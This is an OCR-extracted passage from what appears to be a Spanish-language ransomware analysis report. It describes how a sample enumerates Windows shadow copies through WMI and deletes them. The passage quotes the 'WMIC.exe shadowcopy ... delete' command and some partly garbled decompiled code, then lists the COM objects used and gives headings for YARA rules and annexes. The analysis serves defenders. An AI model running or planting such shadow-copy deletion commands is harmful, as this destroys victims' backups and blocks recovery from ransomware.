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e Maediante el objeto “IWbemServices” enumera las distintas shadow copies

creadas en el sistema, ejecutando la consulta: SELECT * FROM
Win32_ShadowCopy”.

e Del resultado de la consulta, obtiene el identificador (ID) de cada shadow
copy y ejecuta el siguiente comando para eliminar la copia asociada:

m

cmd.exe /c C:\Windows\System32\wbem\WMIC.exe shadowcopy where “ID="%s
delete

w195 = 25;
qmemcpy (vig9s, " - ", sizeof(v196));
for (1 =8; 1 < @x9E; ++1 )
*((_BYTE *)&md_str + 1) = (31 * (*((unsigned _ int3 *)8cmd_str + 1) - 95) ¥ 127 + 127) % 127;
wsprintfi(delete_shadow_str, &cmd_str, v2@3);// omd.exe fc C:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='#s'" delete
i = 5589762;
w39 = (void (_ stdcall *)(int *))GetAPI(15, kernel32_Wow64DisableWowe4FsRedirection, 8);
v30(&v213);
for (1 = w213 + 5572957; !(i % 4); ++i )

ExecuteCommand(delete_shadow_str});

vdd = v213;
val = (void (_ stdcall *)(int))GetAPI(15, kernel32_Wowt4RevertWows4FsRedirection, 15);
wval(vae);
Figura 23. Borrado de Shadow Copies.
Name Function Address GUID Object type Module
WEBEM Locator @Delete_shadow_copies 0:4069be 4590f811-1d3a-11d0-891f-002a004b2e24 class sy e\ system32whbem\wbemprox.dll
Microsoft WBEM Call Context @Delete_shadow_copies 0x406d50 674b6698-ee82-11d0-ad71-00c04fdafdff class sy e\sy 32\whem\fastprox.dil

Figura 24. Objetos COM instanciados.

6. REGLAS DE DETECCION

6.1 REGLAS YARA
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7. ANEXOS
7.1 CLAVE PUBLICA RSA (PEM)

7.1.12DE7653D469BB2846A68775220B784153059E051

7.1.285C434FBAA94FB4D73D77429A32E88B184EC2F88

7.2 MENSAIJE DE RESCATE

7.2.12DE7653D469BB2846A68775220B784153059E051
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7.2.285C434FBAA94FB4D73D77429A32E88B184EC2F88
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